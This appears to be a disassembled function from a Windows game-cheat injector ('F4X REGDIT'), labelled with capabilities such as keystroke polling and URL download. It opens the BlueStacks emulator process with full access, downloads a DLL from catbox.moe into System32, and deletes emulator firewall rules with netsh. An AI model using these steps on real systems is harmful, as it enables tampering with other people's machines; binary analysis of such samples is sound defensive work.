Function at 0x14004ee10
Capabilities:
Check for time delay via gettickcount
Check mutex on windows
Create process on windows
Create thread
Download url
Enumerate processes
Log keystrokes via polling
Receive data
Set registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0xc40]
sub rsp, 0xd40
lea rcx, [0x140141360]
call fcn.140067480
mov ebx, dword [0x140141248]
xor r15d, r15d
test ebx, ebx
jne 0x14004eef4
cmp qword [0x140141220], r15
jne 0x14004ee61
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400bf0fc
mov qword [0x140141220], rax
mov dword [rax + 8], r15d
xor edx, edx
mov ecx, 2
mov ebx, r15d
mov edi, r15d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0x940]
mov dword [rbp + 0x940], 0x130
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0x940]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14004eeee
nop word [rax + rax]
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0x96c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
jne 0x14004eeda
mov eax, dword [rbp + 0x95c]
cmp eax, edi
jle 0x14004eeda
mov ebx, dword [rbp + 0x948]
mov edi, eax
lea rdx, [rbp + 0x940]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14004eeb0
mov dword [0x140141248], ebx
mov rdi, qword [0x140141220]
test rdi, rdi
jne 0x14004ef1e
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400bf0fc
mov ebx, dword [0x140141248]
mov rdi, rax
mov qword [0x140141220], rax
mov dword [rax + 8], r15d
mov dword [rdi + 8], ebx
test ebx, ebx
jne 0x14004efa1
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0xa70]
mov dword [rbp + 0xa70], 0x130
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0xa70]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14004ef9e
nop dword [rax]
nop word [rax + rax]
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0xa9c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
mov ebx, dword [rbp + 0xa78]
lea rdx, [rbp + 0xa70]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14004ef70
mov dword [rdi + 8], ebx
cmp dword [rdi + 8], r15d
je 0x14004efba
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rdi], rax
movups xmm0, xmmword [str.https:__files.catbox.moe_43lea1.dll]
mov eax, dword [0x1400e0c38]
xor r9d, r9d
movups xmm1, xmmword [0x1400e0c28]
mov dword [rbp + 0x768], eax
lea r8, [rbp + 0x720]
movzx eax, word [0x1400dfbb0]
lea rdx, [rbp + 0x748]
movups xmmword [rbp + 0x748], xmm0
xor ecx, ecx
mov word [rbp + 0x740], ax
movups xmm0, xmmword [str.C:_Windows_System32_F4X_NAFIS.dll]
mov qword [rsp + 0x20], r15
movups xmmword [rbp + 0x758], xmm1
movups xmm1, xmmword [0x1400dfba0]
movups xmmword [rbp + 0x720], xmm0
movups xmmword [rbp + 0x730], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.1400479c0
mov ecx, 8
call fcn.1400bf0fc
lea rcx, [0x140046440]
mov r9, rax
lea r8, [0x1400591e0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x1b8]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1b0], rax
test rax, rax
je 0x1400542ae
mov qword [rsp + 0xd70], r12
mov r12d, 1
mov qword [rsp + 0xd78], r13
mov qword [rsp + 0xd80], r14
movaps xmmword [rsp + 0xd30], xmm6
movaps xmmword [rsp + 0xd20], xmm7
movaps xmmword [rsp + 0xd10], xmm8
movaps xmmword [rsp + 0xd00], xmm9
movaps xmmword [rsp + 0xcf0], xmm10
movaps xmmword [rsp + 0xce0], xmm11
movaps xmmword [rsp + 0xcd0], xmm12
movaps xmmword [rsp + 0xcc0], xmm13
movaps xmmword [rsp + 0xcb0], xmm14
movaps xmmword [rsp + 0xca0], xmm15
cmp dword [rbp + 0x1b8], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x1b0]
lea rcx, [rbp - 0x20]
movdqa xmmword [rbp - 0x20], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1b0], xmm0
call fcn.1400464a0
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x14004e250]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.14004a260
mov rcx, rax
call fcn.14004a2f0
test eax, eax
je 0x14004f175
mov r8d, eax
mov dword [0x140140058], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140140060], rax
call fcn.14004a260
mov rcx, rax
call fcn.14004a2f0
test eax, eax
je 0x14004f247
mov r8d, eax
mov dword [0x140140058], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140140060], rax
test rax, rax
je 0x14004f247
movups xmm6, xmmword [0x140140158]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x560], r15
call fcn.1400bf0fc
movups xmm0, xmmword [str.Emulator_Running]
mov qword [rbp + 0x558], rax
lea r8, [rbp + 0x558]
mov qword [rbp + 0x568], reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x300]
mov qword [rbp + 0x570], Ordinal_33
movups xmmword [rax], xmm0
mov byte [rax + 0x10], r15b
mov eax, dword [0x1400df5c0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x300], xmm0
mov word [rbp + 0x300], ax
movzx eax, byte [0x1400df5c2]
mov byte [rbp + 0x302], al
mov qword [rbp + 0x310], 3
mov qword [rbp + 0x318], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x303], r15b
jmp 0x14004f2ee
movups xmm6, xmmword [0x140140158]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x580], r15
call fcn.1400bf0fc
movups xmm0, xmmword [str.Emulator_Not_Found_]
mov qword [rbp + 0x578], rax
lea r8, [rbp + 0x578]
mov qword [rbp + 0x588], reloc.WS2_32.dll_send
lea rdx, [rbp + 0x2e0]
mov qword [rbp + 0x590], Ordinal_33
movups xmmword [rax], xmm0
movzx ecx, word [0x1400e0c50]
mov word [rax + 0x10], cx
xorps xmm0, xmm0
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_33]
mov byte [rax + 0x12], cl
mov byte [rax + 0x13], r15b
mov eax, dword [0x1400df5c0]
movups xmmword [rbp + 0x2e0], xmm0
mov word [rbp + 0x2e0], ax
movzx eax, byte [0x1400df5c2]
mov byte [rbp + 0x2e2], al
mov qword [rbp + 0x2f0], 3
mov qword [rbp + 0x2f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2e3], r15b
lea r9, [rbp - 0x20]
movdqa xmmword [rbp - 0x20], xmm6
call fcn.140045410
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x140141208], rax
test rax, rax
jne 0x14004f487
movups xmm6, xmmword [0x140140158]
mov ecx, Ordinal_50
mov qword [rbp + 0x5a0], r15
call fcn.1400bf0fc
movups xmm0, xmmword [str._Failed_to_create_mutex._Error_code]
mov qword [rbp + 0x598], rax
lea r9, [rbp - 0x20]
mov qword [rbp + 0x5a8], Ordinal_45
lea r8, [rbp + 0x598]
mov qword [rbp + 0x5b0], Ordinal_50
lea rdx, [rbp + 0x2c0]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400e0c80]
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x20], xmm6
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x1400e0c90]
mov dword [rax + 0x20], ecx
mov byte [rax + 0x24], r15b
mov eax, dword [0x1400e0ca0]
movups xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x2d0], Ordinal_22
movsd xmm0, qword [str.Notification]
movsd qword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x2d8], reloc.WS2_32.dll_ntohs
mov dword [rbp + 0x2c8], eax
mov byte [rbp + 0x2cc], r15b
call fcn.140045410
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_mutex._Error_code:
call fcn.140057470
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140057650]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, r12d
movaps xmm14, xmmword [rsp + 0xcb0]
movaps xmm13, xmmword [rsp + 0xcc0]
movaps xmm12, xmmword [rsp + 0xcd0]
movaps xmm11, xmmword [rsp + 0xce0]
movaps xmm10, xmmword [rsp + 0xcf0]
movaps xmm9, xmmword [rsp + 0xd00]
movaps xmm8, xmmword [rsp + 0xd10]
movaps xmm7, xmmword [rsp + 0xd20]
movaps xmm6, xmmword [rsp + 0xd30]
mov r14, qword [rsp + 0xd80]
mov r13, qword [rsp + 0xd78]
movaps xmm15, xmmword [rsp + 0xca0]
mov r12, qword [rsp + 0xd70]
add rsp, 0xd40
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov qword [rsp + 0x28], r15
lea r8, [0x14004e200]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x14004e200]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x14004f514
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_thread._Error_code:
call fcn.140057470
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140057650]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x140141208]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14004f406
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140141208]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x14004e1a0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rax, [0x1400498a0]
mov dword [rbp + 0x3a0], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x3a8], rax
xor ecx, ecx
mov dword [rbp + 0x3a4], 0x40
mov qword [rbp + 0x3b0], r15
mov qword [rbp + 0x3b8], r15
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x3c0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea r14, str.Example
mov qword [rbp + 0x3d0], r15
mov qword [rbp + 0x3c8], rax
mov edx, 0x7f00
lea rax, str.F4X_REGDIT___
mov qword [rbp + 0x3d8], r14
xor ecx, ecx
mov qword [rbp + 0x3e0], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x3a0]
mov qword [rbp + 0x3e8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x14014009c]
mov ecx, r12d
cvttss2si esi, dword [0x140140098]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x14014009c]
xor ecx, ecx
mulss xmm0, dword [0x1400e148c]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140140098]
cdq
mulss xmm0, dword [0x1400e148c]
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si eax, xmm1
mov rdx, qword [rbp + 0x3e0]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r15
mov r8, r14
mov qword [rsp + 0x50], r15
xor ecx, ecx
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x140141218], rax
mov edx, 0xffffffec
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov rcx, qword [0x140141218]
mov edx, 0xffffffec
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x140141218]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400e1640]
lea rdx, [rbp + 0x6d8]
mov rcx, qword [0x140141218]
movdqu xmmword [rbp + 0x6d8], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
cvttss2si r9d, dword [0x14014009c]
mov dword [rsp + 0x28], 0xa
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0xa
cvttss2si r8d, dword [0x140140098]
call qword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov rcx, qword [0x140141218]
mov r8d, r12d
mov rdx, rax
call qword [sym.imp.USER32.dll_SetWindowRgn]
mov rcx, qword [0x140141218]
lea rdx, [0x140141238]
xorps xmm0, xmm0
movups xmmword [0x140141238], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x140141218]
lea rbx, [0x1401416c8]
mov qword [rsp + 0x58], rbx
lea rdi, [0x1401416c0]
mov qword [rbp + 0x280], rax
lea rsi, [0x1401416b0]
lea rax, [rbp - 8]
mov qword [rbp + 0x264], r15
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x250]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, r12d
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x20]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x278], 2
mov qword [rbp + 0x290], 2
mov qword [rbp + 0x250], r15
mov dword [rbp + 0x260], Ordinal_33
mov dword [rbp + 0x258], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x25c], r12d
mov dword [rbp + 0x274], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x26c], r12
mov qword [rbp + 0x288], r12
mov dword [rbp + 0x20], 0xb000
mov dword [rbp + 0x24], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
mov ecx, 5
cmp eax, 0x887a0004
jne 0x14004f8e7
mov qword [rsp + 0x58], rbx
lea rax, [rbp - 8]
mov qword [rsp + 0x50], rax
mov edx, ecx
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x250]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x20]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
jne 0x140054227
mov rcx, qword [0x1401416b0]
lea r9, [rbp + 0x40]
lea r8, [0x1400e1308]
xor edx, edx
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
call r10
mov rcx, qword [0x1401416c0]
lea r9, [0x1401416a8]
mov rdx, qword [rbp + 0x40]
xor r8d, r8d
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
call r10
mov rcx, qword [rbp + 0x40]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140141218]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140141218]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x140141150]
test rbx, rbx
je 0x14004f967
inc dword [rbx + 0xf4]
mov rdx, qword [0x140141140]
mov ecx, 0x5e00
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x14004f989
xor edx, edx
mov rcx, rax
call fcn.140001e70
jmp 0x14004f98c
mov rax, r15
mov qword [0x140141150], rax
call fcn.1400062a0
test rbx, rbx
je 0x14004f9a6
mov qword [0x140141150], rbx
jmp 0x14004f9ad
mov rbx, qword [0x140141150]
test rbx, rbx
jne 0x14004f9d3
mov r8d, 0xfe3
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140141150]
movss xmm3, dword [0x1400e153c]
lea rdi, [0x1400dda50]
mov rcx, qword [rbx + 0x58]
lea rdx, [0x140118a80]
mov qword [rsp + 0x28], rdi
mov r8d, 0x26a20
mov qword [rsp + 0x20], r15
call fcn.14002ca30
movss xmm3, dword [0x1400e1554]
lea rdx, [0x1400f3120]
mov rcx, qword [rbx + 0x58]
mov r8d, 0x25958
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r15
call fcn.14002ca30
movss xmm3, dword [0x1400e1530]
lea rdx, [0x140118a80]
mov rcx, qword [rbx + 0x58]
mov r8d, 0x26a20
mov qword [rsp + 0x28], rdi
mov qword [0x1401426a8], rax
mov qword [rsp + 0x20], r15
call fcn.14002ca30
movss xmm3, dword [0x1400e1538]
lea rdx, [0x14013f4b0]
mov rcx, qword [rbx + 0x58]
mov r8d, 0xb80
mov qword [rsp + 0x28], rdi
mov qword [0x1401416e0], rax
mov qword [rsp + 0x20], r15
call fcn.14002ca30
xor ecx, ecx
mov qword [0x1401416d8], rax
call fcn.140025cd0
mov rbx, qword [0x140141150]
mov rsi, qword [0x140141218]
test rbx, rbx
jne 0x14004faca
mov r8d, 0xfe3
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140141150]
cmp qword [rbx + 0x98], r15
je 0x14004faed
mov r8d, reloc.WS2_32.dll_WSACleanup
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT____backendsimgui_impl_win32.cpp
lea rcx, str.io.BackendPlatformUserData__nullptr___Already_initialized_a_platform_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14004fc6d
lea rcx, [rbp + 0x248]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14004fc6d
mov rax, qword [0x140141150]
test rax, rax
je 0x14004fb29
inc dword [rax + 0xf4]
mov rdx, qword [0x140141140]
mov ecx, 0x48
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rdi, rax
test rax, rax
je 0x14004fb5c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
mov qword [rdi + 0x40], rax
jmp 0x14004fb5f
mov rdi, r15
mov qword [rbx + 0x98], rdi
lea rax, str.imgui_impl_win32
mov qword [rbx + 0x88], rax
or dword [rbx + 0xc], 6
mov rbx, qword [0x140141150]
mov qword [rdi], rsi
mov rax, qword [rbp + 0x240]
mov qword [rdi + 0x20], rax
mov rax, qword [rbp + 0x248]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
cmp dword [rbx + 0x48a0], r15d
jg 0x14004fbc2
mov r8d, 0x700
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48a8]
mov rbx, r15
mov rcx, qword [rax]
lea rax, str.xinput1_4.dll
mov qword [rbp + 0x658], rax
lea rax, str.xinput1_3.dll
mov qword [rbp + 0x660], rax
lea rax, str.xinput9_1_0.dll
mov qword [rbp + 0x668], rax
lea rax, str.xinput1_2.dll
mov qword [rbp + 0x670], rax
lea rax, str.xinput1_1.dll
mov qword [rcx + 0x28], rsi
mov qword [rbp + 0x678], rax
mov byte [rdi + 0x2d], r12b
nop dword [rax]
mov rcx, qword [rbp + rbx*8 + 0x658]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x14004fc41
inc rbx
cmp rbx, 5
jl 0x14004fc20
jmp 0x14004fc6d
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x30], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x40], rax
mov rax, qword [0x140141150]
mov r14, qword [0x1401416c8]
mov rsi, qword [0x1401416c0]
test rax, rax
jne 0x14004fca8
mov r8d, 0xfe3
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140141150]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], r15
je 0x14004fcd6
mov r8d, 0x221
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT____backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140141150]
test rax, rax
je 0x14004fce1
inc dword [rax + 0xf4]
mov rdx, qword [0x140141140]
mov ecx, 0x78
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rbx, rax
test rax, rax
je 0x14004fd28
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x14004fd2b
mov rbx, r15
mov qword [rdi + 0x98], rbx
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
lea r8, [rbp + 0x28]
or dword [rdi + 4], 8
lea rdx, [0x1400dea50]
mov qword [rbp + 0x28], r15
mov rcx, rsi
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x48], r15
mov rax, qword [rsi]
mov r9, qword [rax]
call r9
test eax, eax
jne 0x14004fdb4
mov rcx, qword [rbp + 0x28]
lea r8, [rbp + 0x30]
lea rdx, [0x1400dea60]
mov rax, qword [rcx]
mov r9, qword [rax + 0x30]
call r9
test eax, eax
jne 0x14004fdb4
mov rcx, qword [rbp + 0x30]
lea r8, [rbp + 0x48]
lea rdx, [0x1400dea70]
mov rax, qword [rcx]
mov r9, qword [rax + 0x30]
call r9
test eax, eax
jne 0x14004fdb4
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rbp + 0x48]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x14004fdc3
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp + 0x30]
test rcx, rcx
je 0x14004fdd2
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, qword [0x140141150]
test rax, rax
jne 0x14004fe12
mov r8d, 0xb5b
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140141150]
movss xmm1, dword [0x1400e14e0]
lea r13, [0x140141250]
movss xmm0, dword [0x1400e14f0]
xorps xmm10, xmm10
movss xmm13, dword [0x1400e14ac]
xor r14b, r14b
movss xmm14, dword [0x1400e1454]
movss xmm11, dword [0x1400e1568]
movss xmm12, dword [0x1400e1578]
movss xmm15, dword [0x1400e1584]
unpcklps xmm0, xmm1
movsd qword [rax + 0x381c], xmm0
xorps xmm0, xmm0
mov dword [rax + 0x3824], 0x3f800000
mov qword [rax + 0x37f0], 0x40000000
mov dword [rax + 0x3818], r15d
unpcklps xmm0, xmm10
movsd qword [rax + 0x37e8], xmm0
mov dword [rax + 0x3810], 0x41200000
mov dword [rax + 0x38a8], r15d
movss xmm9, dword [0x1400e1528]
lea rcx, [rbp + 0x770]
movss xmm8, dword [0x1400e15dc]
xor r9d, r9d
movss xmm7, dword [0x1400e15d0]
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14004ff30
nop dword [rax]
lea rcx, [rbp + 0x770]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x770]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x778], 0x12
lea rcx, [rbp + 0x770]
movzx r14d, r14b
cmove r14d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14004fee0
test r14b, r14b
jne 0x14004f409
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x14004ff4e
